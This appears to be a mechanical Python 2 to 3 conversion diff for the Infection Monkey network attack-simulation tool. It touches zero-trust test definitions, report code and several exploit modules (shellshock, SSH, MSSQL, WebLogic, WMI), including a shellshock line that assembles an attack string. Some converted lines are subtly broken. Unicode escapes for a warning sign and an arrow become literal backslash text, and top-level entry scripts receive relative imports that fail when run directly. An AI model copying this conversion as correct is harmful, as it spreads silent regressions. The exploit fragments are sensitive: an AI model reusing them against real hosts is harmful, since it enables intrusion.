TESTS = (
TEST_SEGMENTATION,
TEST_MALICIOUS_ACTIVITY_TIMELINE,
@@ -43,32 +43,32 @@ TESTS = (
TEST_COMMUNICATE_AS_NEW_USER
)
-PRINCIPLE_DATA_TRANSIT = u"data_transit"
-PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
-PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
-PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
-PRINCIPLE_SEGMENTATION = u"segmentation"
-PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
-PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
+PRINCIPLE_DATA_TRANSIT = "data_transit"
+PRINCIPLE_ENDPOINT_SECURITY = "endpoint_security"
+PRINCIPLE_USER_BEHAVIOUR = "user_behaviour"
+PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = "analyze_network_traffic"
+PRINCIPLE_SEGMENTATION = "segmentation"
+PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = "network_policies"
+PRINCIPLE_USERS_MAC_POLICIES = "users_mac_policies"
PRINCIPLES = {
- PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
- PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
- PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
- PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
- PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
- PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
- PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
- u"Access Control) only.",
+ PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.",
+ PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.",
+ PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.",
+ PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.",
+ PRINCIPLE_DATA_TRANSIT: "Secure data at transit by encrypting it.",
+ PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.",
+ PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandetory "
+ "Access Control) only.",
}
-POSSIBLE_STATUSES_KEY = u"possible_statuses"
-PILLARS_KEY = u"pillars"
-PRINCIPLE_KEY = u"principle_key"
-FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
-TEST_EXPLANATION_KEY = u"explanation"
+POSSIBLE_STATUSES_KEY = "possible_statuses"
+PILLARS_KEY = "pillars"
+PRINCIPLE_KEY = "principle_key"
+FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
+TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
- TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
+ TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
@@ -78,7 +78,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
- TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
+ TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
},
@@ -87,7 +87,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
},
TEST_ENDPOINT_SECURITY_EXISTS: {
- TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
+ TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
@@ -97,7 +97,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_MACHINE_EXPLOITED: {
- TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
+ TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
@@ -117,7 +117,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
},
TEST_DATA_ENDPOINT_ELASTIC: {
- TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
+ TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
@@ -127,7 +127,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_DATA_ENDPOINT_HTTP: {
- TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
+ TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
@@ -137,7 +137,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_TUNNELING: {
- TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
+ TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
},
@@ -146,7 +146,7 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
},
TEST_COMMUNICATE_AS_NEW_USER: {
- TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
+ TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
@@ -184,7 +184,7 @@ def populate_mappings():
def populate_pillars_to_tests():
for pillar in PILLARS:
- for test, test_info in TESTS_MAP.items():
+ for test, test_info in list(TESTS_MAP.items()):
if pillar in test_info[PILLARS_KEY]:
PILLARS_TO_TESTS[pillar].append(test)
@@ -192,12 +192,12 @@ def populate_pillars_to_tests():
def populate_principles_to_tests():
for single_principle in PRINCIPLES:
PRINCIPLES_TO_TESTS[single_principle] = []
- for test, test_info in TESTS_MAP.items():
+ for test, test_info in list(TESTS_MAP.items()):
PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
def populate_principles_to_pillars():
- for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+ for principle, principle_tests in list(PRINCIPLES_TO_TESTS.items()):
principles_pillars = set()
for test in principle_tests:
for pillar in TESTS_MAP[test][PILLARS_KEY]:
diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py
index a63dec069..f2791b832 100644
--- a/monkey/infection_monkey.py
+++ b/monkey/infection_monkey.py
@@ -1,4 +1,4 @@
-from infection_monkey.main import main
+from .infection_monkey.main import main
if "__main__" == __name__:
main()
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 718615114..c860326bc 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -73,7 +73,7 @@ class MSSQLExploiter(HostExploiter):
self.remove_temp_dir()
except Exception as e:
- raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
+ raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2])
return True
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 7276f0388..edc4851e9 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -179,7 +179,7 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Attack Flag is: %s" % self.success_flag)
LOG.debug("Trying exploit for %s" % url)
- for header, exploit in attacks.items():
+ for header, exploit in list(attacks.items()):
attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
result = self.attack_page(url, header, attack)
if self.success_flag in result:
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index ffd584d24..fc8260904 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -1,4 +1,4 @@
-import StringIO
+import io
import logging
import time
@@ -45,7 +45,7 @@ class SSHExploiter(HostExploiter):
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
- pkey = StringIO.StringIO(ssh_key_pair['private_key'])
+ pkey = io.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
@@ -104,7 +104,7 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
- for servkey, servdata in self.host.services.items():
+ for servkey, servdata in list(self.host.services.items()):
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', ''))
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index 19b45b043..297e064fc 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -1,7 +1,7 @@
import logging
import os
import os.path
-import urllib
+import urllib.request, urllib.parse, urllib.error
from threading import Lock
from infection_monkey.network.firewall import app as firewall
@@ -32,7 +32,7 @@ class HTTPTools(object):
httpd.daemon = True
httpd.start()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
@@ -68,7 +68,7 @@ class HTTPTools(object):
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
class MonkeyHTTPServer(HTTPTools):
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
index af682dbff..23358a290 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
@@ -1,5 +1,5 @@
from unittest import TestCase
-from payload_parsing import Payload, LimitedSizePayload
+from .payload_parsing import Payload, LimitedSizePayload
class TestPayload(TestCase):
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
index abbb9f936..f9f7b9ae3 100644
--- a/monkey/infection_monkey/exploit/tools/wmi_tools.py
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -86,9 +86,9 @@ class WmiTools(object):
@staticmethod
def dcom_cleanup():
- for port_map in DCOMConnection.PORTMAPS.keys():
+ for port_map in list(DCOMConnection.PORTMAPS.keys()):
del DCOMConnection.PORTMAPS[port_map]
- for oid_set in DCOMConnection.OID_SET.keys():
+ for oid_set in list(DCOMConnection.OID_SET.keys()):
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
@@ -132,7 +132,7 @@ class WmiTools(object):
record = next_item.getProperties()
if not fields:
- fields = record.keys()
+ fields = list(record.keys())
query_record = {}
for key in fields:
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 750fc932c..7ac4e36c0 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -11,7 +11,7 @@ from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
-from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 2bf5aabeb..45b82beaf 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -58,17 +58,17 @@ def main():
config_file = opts.config
if os.path.isfile(config_file):
# using print because config can also change log locations
- print("Loading config from %s." % config_file)
+ print(("Loading config from %s." % config_file))
try:
with open(config_file) as config_fo:
json_dict = json.load(config_fo)
WormConfiguration.from_kv(json_dict)
except ValueError as e:
- print("Error loading config: %s, using default" % (e,))
+ print(("Error loading config: %s, using default" % (e,)))
else:
- print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
+ print(("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)))
- print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
+ print(("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())))
# Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 8da49f637..6610e082d 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -1,11 +1,11 @@
-import BaseHTTPServer
+import http.server
import os.path
import select
import socket
import threading
-import urllib
+import urllib.request, urllib.parse, urllib.error
from logging import getLogger
-from urlparse import urlsplit
+from urllib.parse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@@ -16,7 +16,7 @@ __author__ = 'hoffer'
LOG = getLogger(__name__)
-class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
+class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
@@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
+ if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
@@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
format % args))
-class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
+class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
@@ -182,7 +182,7 @@ class HTTPServer(threading.Thread):
return True
return False
- httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
@@ -235,7 +235,7 @@ class LockedHTTPServer(threading.Thread):
return True
return False
- httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
+ httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
@@ -249,7 +249,7 @@ class LockedHTTPServer(threading.Thread):
class HTTPConnectProxy(TransportProxyBase):
def run(self):
- httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
+ httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd.timeout = 30
while not self._stopped:
httpd.handle_request()
diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py
index 8f31c83f8..a6f3fb13f 100644
--- a/monkey/monkey_island.py
+++ b/monkey/monkey_island.py
@@ -1,4 +1,4 @@
-from monkey_island.cc.main import main
+from .monkey_island.cc.main import main
if "__main__" == __name__:
main()
diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py
index 58e950914..d8c1b05c8 100644
--- a/monkey/monkey_island/cc/models/__init__.py
+++ b/monkey/monkey_island/cc/models/__init__.py
@@ -12,9 +12,9 @@ else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them.
-from config import Config
-from creds import Creds
-from monkey_ttl import MonkeyTtl
-from pba_results import PbaResults
-from command_control_channel import CommandControlChannel
-from monkey import Monkey
+from .config import Config
+from .creds import Creds
+from .monkey_ttl import MonkeyTtl
+from .pba_results import PbaResults
+from .command_control_channel import CommandControlChannel
+from .monkey import Monkey
diff --git a/monkey/monkey_island/cc/models/monkey_test.py b/monkey/monkey_island/cc/models/monkey_test.py
index 6115386ea..45f03ad8f 100644
--- a/monkey/monkey_island/cc/models/monkey_test.py
+++ b/monkey/monkey_island/cc/models/monkey_test.py
@@ -1,10 +1,10 @@
import uuid
from time import sleep
-from monkey import Monkey
+from .monkey import Monkey
from monkey_island.cc.models.monkey import MonkeyNotFoundError
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
-from monkey_ttl import MonkeyTtl
+from .monkey_ttl import MonkeyTtl
class TestMonkey(IslandTestCase):
@@ -87,9 +87,9 @@ class TestMonkey(IslandTestCase):
windows_monkey.save()
unknown_monkey.save()
- self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
- self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
- self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
+ self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
+ self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
+ self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
def test_get_tunneled_monkeys(self):
self.fail_if_not_testing_env()
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
index c1a94166f..161f064b2 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -13,17 +13,17 @@ class TestAggregateFinding(IslandTestCase):
test = TEST_MALICIOUS_ACTIVITY_TIMELINE
status = STATUS_VERIFY
events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
- self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
AggregateFinding.create_or_add_to_existing(test, status, events)
- self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
- self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1)
AggregateFinding.create_or_add_to_existing(test, status, events)
- self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
- self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2)
def test_create_or_add_to_existing_2_tests_already_exist(self):
self.fail_if_not_testing_env()
@@ -33,21 +33,21 @@ class TestAggregateFinding(IslandTestCase):
status = STATUS_VERIFY
event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
events = [event]
- self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 0)
Finding.save_finding(test, status, events)
- self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
- self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1)
AggregateFinding.create_or_add_to_existing(test, status, events)
- self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
- self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2)
Finding.save_finding(test, status, events)
- self.assertEquals(len(Finding.objects(test=test, status=status)), 2)
+ self.assertEqual(len(Finding.objects(test=test, status=status)), 2)
with self.assertRaises(AssertionError):
AggregateFinding.create_or_add_to_existing(test, status, events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
index 88a33d5d3..3b9dcbf33 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -28,11 +28,11 @@ class TestFinding(IslandTestCase):
self.fail_if_not_testing_env()
self.clean_finding_db()
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
event_example = Event.create_event(
title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
- self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
+ self.assertEqual(len(Finding.objects(status=STATUS_FAILED)), 1)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
index 80e564a17..8258d7bdf 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
@@ -20,8 +20,8 @@ class TestSegmentationFinding(IslandTestCase):
segmentation_event=event
)
- self.assertEquals(len(SegmentationFinding.objects()), 1)
- self.assertEquals(len(SegmentationFinding.objects()[0].events), 1)
+ self.assertEqual(len(SegmentationFinding.objects()), 1)
+ self.assertEqual(len(SegmentationFinding.objects()[0].events), 1)
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
@@ -30,8 +30,8 @@ class TestSegmentationFinding(IslandTestCase):
segmentation_event=event
)
- self.assertEquals(len(SegmentationFinding.objects()), 1)
- self.assertEquals(len(SegmentationFinding.objects()[0].events), 2)
+ self.assertEqual(len(SegmentationFinding.objects()), 1)
+ self.assertEqual(len(SegmentationFinding.objects()[0].events), 2)
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
@@ -40,7 +40,7 @@ class TestSegmentationFinding(IslandTestCase):
segmentation_event=event
)
- self.assertEquals(len(SegmentationFinding.objects()), 2)
+ self.assertEqual(len(SegmentationFinding.objects()), 2)
SegmentationFinding.create_or_add_to_existing_finding(
# !!! REVERSE ORDER
@@ -49,4 +49,4 @@ class TestSegmentationFinding(IslandTestCase):
segmentation_event=event
)
- self.assertEquals(len(SegmentationFinding.objects()), 3)
+ self.assertEqual(len(SegmentationFinding.objects()), 3)
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
index 8c5286fee..5b416e60b 100644
--- a/monkey/monkey_island/cc/resources/reporting/report.py
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -1,4 +1,4 @@
-import httplib
+import http.client
import flask_restful
@@ -38,4 +38,4 @@ class Report(flask_restful.Resource):
elif report_data == REPORT_DATA_FINDINGS:
return jsonify(ZeroTrustService.get_all_findings())
- flask_restful.abort(httplib.NOT_FOUND)
+ flask_restful.abort(http.client.NOT_FOUND)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
index 05cef3684..80bfb952d 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
@@ -12,7 +12,7 @@ def parse_creds(attempt):
'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
- for key, cred in creds.items():
+ for key, cred in list(creds.items()):
if attempt[key]:
return '%s ; %s : %s' % (username,
cred['type'],
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
index 69f178e1c..76e005689 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
@@ -5,9 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique,
from common.utils.attack_utils import UsageEnum
-class UsageTechnique(AttackTechnique):
- __metaclass__ = abc.ABCMeta
-
+class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta):
@staticmethod
def parse_usages(usage):
"""
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 8e6c9b2fa..a6759b15b 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -203,11 +203,11 @@ class ConfigService:
# Do it only for root.
if instance != {}:
return
- for property, subschema in properties.items():
+ for property, subschema in list(properties.items()):
main_dict = {}
- for property2, subschema2 in subschema["properties"].items():
+ for property2, subschema2 in list(subschema["properties"].items()):
sub_dict = {}
- for property3, subschema3 in subschema2["properties"].items():
+ for property3, subschema3 in list(subschema2["properties"].items()):
if "default" in subschema3:
sub_dict[property3] = subschema3["default"]
main_dict[property2] = sub_dict
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 621c9badf..99a2b9631 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -1,4 +1,4 @@
-WARNING_SIGN = " \u26A0"
+WARNING_SIGN = " \\u26A0"
SCHEMA = {
"title": "Monkey",
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index c328deee2..926a7110e 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -151,7 +151,7 @@ class EdgeService:
else:
to_label = NodeService.get_monkey_label(to_id)
- RIGHT_ARROW = "\u2192"
+ RIGHT_ARROW = "\\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index 46b4fefd7..06a730e05 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -96,7 +96,7 @@ class TestZeroTrustService(IslandTestCase):
result = ZeroTrustService.get_pillars_grades()
- self.assertEquals(result, expected)
+ self.assertEqual(result, expected)
def test_get_principles_status(self):
self.fail_if_not_testing_env()
@@ -250,7 +250,7 @@ class TestZeroTrustService(IslandTestCase):
}
result = ZeroTrustService.get_principles_status()
- self.assertEquals(result, expected)
+ self.assertEqual(result, expected)
def test_get_pillars_to_statuses(self):
self.fail_if_not_testing_env()
@@ -268,7 +268,7 @@ class TestZeroTrustService(IslandTestCase):
DATA: STATUS_UNEXECUTED
}
- self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
+ self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected)
save_example_findings()
